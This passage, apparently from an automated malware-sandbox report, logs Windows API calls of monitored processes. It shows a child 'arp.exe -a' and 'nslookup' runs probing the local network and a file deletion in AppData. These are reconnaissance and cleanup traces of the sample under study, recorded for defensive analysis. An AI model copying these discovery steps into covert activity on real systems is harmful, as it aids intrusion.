RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a80) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9cc0) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9de0) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b58) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3a8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed578) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed378) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ac8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3f8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4b8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e28) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4c8) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0077.615] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed468) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3d8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c30) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3c8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9be8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3b8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc08) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f29d8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92e8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeae8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eea60) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9888) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed588) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97f8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed428) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d08) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed338) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f97b0) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed548) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d50) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5b8) returned 1 [0077.616] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eff98) returned 1 [0077.617] ReleaseMutex (hMutex=0x154) returned 1 [0077.617] ReleaseMutex (hMutex=0x154) returned 0 [0077.617] GetLastError () returned 0x120 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f92a0) returned 1 [0077.617] NtClose (Handle=0x154) returned 0x0 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9258) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9138) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee9d8) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee950) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee8c8) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0077.617] Wow64RevertWow64FsRedirection (OlValue=0x1) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f91c8) returned 1 [0077.617] ReleaseMutex (hMutex=0x150) returned 0 [0077.617] GetLastError () returned 0x120 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9180) returned 1 [0077.617] NtClose (Handle=0x150) returned 0x0 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f90f0) returned 1 [0077.617] NtClose (Handle=0x124) returned 0x0 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec990) returned 1 [0077.617] NtClose (Handle=0x120) returned 0x0 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec948) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec900) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec240) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0077.617] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0077.618] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f8500) returned 1 [0077.618] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0077.618] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee8c8 [0077.618] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0077.618] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee8c8) returned 1 [0077.618] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee8c8 [0077.618] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee840 [0077.618] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee8c8) returned 1 [0077.618] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1")) returned 1 [0077.618] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee840) returned 1 [0077.618] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f7cf8) returned 1 [0077.618] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0077.619] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee268) returned 1 [0077.619] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed288) returned 1 [0077.619] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0077.619] ExitProcess (uExitCode=0x0) Thread: id = 362 os_tid = 0x8dc Thread: id = 408 os_tid = 0x8e0 Thread: id = 409 os_tid = 0x89c Process: id = "26" image_name = "arp.exe" filename = "c:\\windows\\system32\\arp.exe" page_root = "0x2fc8e000" os_pid = "0x8ec" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\arp.exe -a" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 364 os_tid = 0x8fc Thread: id = 367 os_tid = 0x95c Process: id = "27" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x2dc94000" os_pid = "0x97c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 369 os_tid = 0x98c [0047.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f9d0 | out: lpSystemTimeAsFileTime=0x12f9d0*(dwLowDateTime=0x3bf81d50, dwHighDateTime=0x1d5dff7)) [0047.897] GetCurrentProcessId () returned 0x97c [0047.897] GetCurrentThreadId () returned 0x98c [0047.897] GetTickCount () returned 0x1156307 [0047.897] QueryPerformanceCounter (in: lpPerformanceCount=0x12f9d8 | out: lpPerformanceCount=0x12f9d8*=18980361007) returned 1 [0047.920] GetModuleHandleW (lpModuleName=0x0) returned 0xff380000 [0047.920] __set_app_type (_Type=0x1) [0047.920] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3909f8) returned 0x0 [0047.921] __getmainargs (in: _Argc=0xff39aa00, _Argv=0xff39aa10, _Env=0xff39aa08, _DoWildCard=0, _StartInfo=0xff39aa1c | out: _Argc=0xff39aa00, _Argv=0xff39aa10, _Env=0xff39aa08) returned 0 [0047.921] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0047.921] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0047.921] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff3a2e80 | out: lpWSAData=0xff3a2e80) returned 0 [0047.927] malloc (_Size=0x40) returned 0x37df30 [0047.928] socket (af=2, type=2, protocol=0) returned 0x6c [0047.930] closesocket (s=0x6c) returned 0 [0047.930] RtlIpv4StringToAddressA () returned 0x0 [0047.931] RtlInitAnsiString (in: DestinationString=0x12f830, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0047.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f820, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0047.931] NtOpenKey (in: KeyHandle=0x12f8f8, DesiredAccess=0x20019, ObjectAttributes=0x12f840*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x12f8f8*=0x6c) returned 0x0 [0047.931] RtlFreeAnsiString (AnsiString="\\") [0047.931] malloc (_Size=0x3200) returned 0x365ed0 [0047.931] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3980 [0047.931] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3d90 [0047.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f808, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0047.931] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x1d3980, Length=0x400, ResultLength=0x12f800 | out: KeyValueInformation=0x1d3980, ResultLength=0x12f800) returned 0xc0000034 [0047.931] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3d90) returned 1 [0047.931] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3980) returned 1 [0047.931] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3980 [0047.931] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3d90 [0047.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f808, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0047.931] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x1d3980, Length=0x400, ResultLength=0x12f800 | out: KeyValueInformation=0x1d3980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x12f800) returned 0x0 [0047.931] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3d90) returned 1 [0047.931] RtlUnicodeStringToAnsiString (in: DestinationString=0x12f818, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0047.931] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3980) returned 1 [0047.931] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3980 [0047.931] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3d90 [0047.931] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f808, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0047.931] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x1d3980, Length=0x400, ResultLength=0x12f800 | out: KeyValueInformation=0x1d3980, ResultLength=0x12f800) returned 0xc0000034 [0047.932] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3d90) returned 1 [0047.932] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3980) returned 1 [0047.932] RtlInitAnsiString (in: DestinationString=0x12f830, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0047.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f820, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0047.932] NtOpenKey (in: KeyHandle=0x12f900, DesiredAccess=0x20019, ObjectAttributes=0x12f840*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x12f900*=0x0) returned 0xc0000034 [0047.932] RtlFreeAnsiString (AnsiString="\\") [0047.932] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3980 [0047.932] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3d90 [0047.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f808, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0047.932] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x1d3980, Length=0x400, ResultLength=0x12f800 | out: KeyValueInformation=0x1d3980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x12f800) returned 0x0 [0047.932] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3d90) returned 1 [0047.932] RtlUnicodeStringToAnsiString (in: DestinationString=0x12f818, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0047.932] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3980) returned 1 [0047.932] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3980 [0047.932] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x400) returned 0x1d3d90 [0047.932] RtlAnsiStringToUnicodeString (in: DestinationString=0x12f808, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0047.932] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x1d3980, Length=0x400, ResultLength=0x12f800 | out: KeyValueInformation=0x1d3980, ResultLength=0x12f800) returned 0xc0000034 [0047.932] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3d90) returned 1 [0047.932] RtlFreeHeap (HeapHandle=0x1b0000, Flags=0x0, BaseAddress=0x1d3980) returned 1 [0047.932] gethostname (in: name=0x365ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0047.965] free (_Block=0x365ed0) [0047.965] malloc (_Size=0x20) returned 0x365a50 [0047.965] getenv (_VarName="HOME") returned 0x0 [0047.965] DnsQueryConfigAllocEx () returned 0x1c91620 [0048.009] _vsnprintf (in: _DstBuf=0x12f7b0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x11f728 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0048.009] htons (hostshort=0x1) returned 0x100 [0048.009] htons (hostshort=0x1) returned 0x100 [0048.011] socket (af=2, type=2, protocol=0) returned 0x110 [0048.011] connect (s=0x110, name=0x1c91640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0048.012] send (s=0x110, buf=0x11f7b0*, len=42, flags=0) returned 42 [0048.013] select (in: nfds=272, readfds=0x10f220, writefds=0x0, exceptfds=0x0, timeout=0x10f1f8*(tv_sec=2, tv_usec=0) | out: readfds=0x10f220, writefds=0x0, exceptfds=0x0) returned 1 [0048.014] recv (in: s=0x110, buf=0x10f710, len=65536, flags=0 | out: buf=0x10f710*) returned 101 [0048.014] closesocket (s=0x110) returned 0 [0048.014] RtlIpv4AddressToStringExA () returned 0xc000000d [0048.014] DnsFreeConfigStructure () returned 0x201e4301 [0048.014] malloc (_Size=0xc) returned 0x37df80 [0048.014] strcpy_s (in: _Dst=0x37df80, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0048.014] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x1daba0 [0048.015] strcpy_s (in: _Dst=0xff3a3020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0048.015] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x12f668, nSize=0x0, Arguments=0x12f660 | out: lpBuffer="") returned 0x7 [0048.015] fprintf (in: _File=0x7fefe122ab0, _Format="%-7s %s" | out: _File=0x7fefe122ab0) returned 16 [0048.016] fprintf (in: _File=0x7fefe122ab0, _Format="\nAddress:" | out: _File=0x7fefe122ab0) returned 9 [0048.016] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0048.016] fprintf (in: _File=0x7fefe122ab0, _Format="%c %s" | out: _File=0x7fefe122ab0) returned 13 [0048.016] fprintf (in: _File=0x7fefe122ab0, _Format="\n\n" | out: _File=0x7fefe122ab0) returned 2 [0048.016] RtlIpv4StringToAddressA () returned 0x0 [0048.016] _vsnprintf (in: _DstBuf=0x12f4d0, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x11f448 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0048.016] htons (hostshort=0x2) returned 0x200 [0048.016] htons (hostshort=0x1) returned 0x100 [0048.016] socket (af=2, type=2, protocol=0) returned 0x110 [0048.016] connect (s=0x110, name=0x1dabc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0048.016] send (s=0x110, buf=0x11f4d0*, len=42, flags=0) returned 42 [0048.016] select (in: nfds=272, readfds=0x10ef40, writefds=0x0, exceptfds=0x0, timeout=0x10ef18*(tv_sec=2, tv_usec=0) | out: readfds=0x10ef40, writefds=0x0, exceptfds=0x0) returned 1 [0048.017] recv (in: s=0x110, buf=0x10f430, len=65536, flags=0 | out: buf=0x10f430*) returned 42 [0048.017] closesocket (s=0x110) returned 0 [0048.017] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x12f5e0, nSize=0x0, Arguments=0x12f5e8 | out: lpBuffer="P\x8f\x1c") returned 0x39 [0048.017] CharToOemBuffA (in: lpszSrc="*** UnKnown can't find 192.168.0.1: Non-existent domain\r\n", lpszDst=0x1c8f50, cchDstLength=0x39 | out: lpszDst="*** UnKnown can't find 192.168.0.1: Non-existent domain\r\n") returned 1 [0048.017] _write (in: _FileHandle=2, _Buf=0x1c8f50*, _MaxCharCount=0x39 | out: _Buf=0x1c8f50*) returned 57 [0048.018] LocalFree (hMem=0x1c8f50) returned 0x0 [0048.018] free (_Block=0x37df80) [0048.018] LocalFree (hMem=0x1daba0) returned 0x0 [0048.018] free (_Block=0x37df30) [0048.018] exit (_Code=0) Thread: id = 372 os_tid = 0x9ec Process: id = "28" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x25e99000" os_pid = "0x9fc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0x878" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 192.168.0.255" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 373 os_tid = 0xa0c [0049.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd0 | out: lpSystemTimeAsFileTime=0x18fdd0*(dwLowDateTime=0x3ced4af0, dwHighDateTime=0x1d5dff7)) [0049.507] GetCurrentProcessId () returned 0x9fc [0049.507] GetCurrentThreadId () returned 0xa0c [0049.507] GetTickCount () returned 0x115694e [0049.507] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdd8 | out: lpPerformanceCount=0x18fdd8*=19141387252) returned 1 [0049.509] GetModuleHandleW (lpModuleName=0x0) returned 0xfffc0000 [0049.509] __set_app_type (_Type=0x1) [0049.509] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffd09f8) returned 0x0 [0049.509] __getmainargs (in: _Argc=0xfffdaa00, _Argv=0xfffdaa10, _Env=0xfffdaa08, _DoWildCard=0, _StartInfo=0xfffdaa1c | out: _Argc=0xfffdaa00, _Argv=0xfffdaa10, _Env=0xfffdaa08) returned 0 [0049.509] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0049.509] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0049.510] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfffe2e80 | out: lpWSAData=0xfffe2e80) returned 0 [0049.516] malloc (_Size=0x40) returned 0x19df30 [0049.516] socket (af=2, type=2, protocol=0) returned 0x6c [0049.518] closesocket (s=0x6c) returned 0 [0049.518] RtlIpv4StringToAddressA () returned 0x0 [0049.518] RtlInitAnsiString (in: DestinationString=0x18fc30, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0049.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc20, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0049.518] NtOpenKey (in: KeyHandle=0x18fcf8, DesiredAccess=0x20019, ObjectAttributes=0x18fc40*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x18fcf8*=0x6c) returned 0x0 [0049.518] RtlFreeAnsiString (AnsiString="\\") [0049.519] malloc (_Size=0x3200) returned 0x2b5ed0 [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343990 [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343da0 [0049.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc08, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0049.519] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x343990, Length=0x400, ResultLength=0x18fc00 | out: KeyValueInformation=0x343990, ResultLength=0x18fc00) returned 0xc0000034 [0049.519] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343da0) returned 1 [0049.519] RtlFreeHeap (HeapHandle=0x320000, Flags=0x0, BaseAddress=0x343990) returned 1 [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343990 [0049.519] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x400) returned 0x343da0 [0049.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x18fc08, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0049.519] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x343990, Length=0x400, ResultLength=0x18fc00 | out: 